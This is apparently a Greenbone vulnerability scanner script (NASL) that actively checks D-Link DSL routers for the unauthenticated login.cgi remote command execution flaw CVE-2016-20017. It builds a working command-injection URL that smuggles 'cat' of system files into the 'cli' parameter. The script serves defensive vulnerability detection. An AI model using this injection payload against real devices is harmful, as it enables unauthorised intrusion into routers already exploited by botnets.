D-Link DSL Devices 'login.cgi' RCE Vulnerability - Active Check

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/o:dlink";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108458");
  script_version("2025-07-02T05:41:52+0000");
  script_tag(name:"last_modification", value:"2025-07-02 05:41:52 +0000 (Wed, 02 Jul 2025)");
  script_tag(name:"creation_date", value:"2018-09-04 09:45:51 +0200 (Tue, 04 Sep 2018)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-10-21 20:19:00 +0000 (Fri, 21 Oct 2022)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2016-20017");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("D-Link DSL Devices 'login.cgi' RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  # nb: Experiences in the past have shown that various different devices are affected
  script_dependencies("gb_dlink_dsl_consolidation.nasl", "gb_dlink_dap_consolidation.nasl",
                      "gb_dlink_dir_consolidation.nasl", "gb_dlink_dwr_consolidation.nasl");
  script_mandatory_keys("d-link/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"D-Link DSL routers are prone to a remote command execution (RCE)
  vulnerability.

  This vulnerability was known to be used by an unknown Botnet in 2018.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and check whether it is
  possible to read a file on the filesystem or not.");

  script_tag(name:"impact", value:"Successful exploitation will allow a remote attacker to read
  arbitrary files on the target system.");

  script_tag(name:"affected", value:"D-Link DSL-2750B with firmware version 1.0.1 through 1.0.3.
  Other devices, models or versions might be also affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2016/Feb/53");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44760/");
  script_xref(name:"URL", value:"http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");

if( ! infos = get_app_port_from_cpe_prefix( cpe:CPE_PREFIX, service:"www" ) )
  exit( 0 );

port = infos["port"];
CPE = infos["cpe"];

files = traversal_files( "linux" );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

foreach pattern( keys( files ) ) {

  file = files[pattern];
  url = dir + "/login.cgi?cli=multilingual%20show%27;cat%20/" + file + "%27$";

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );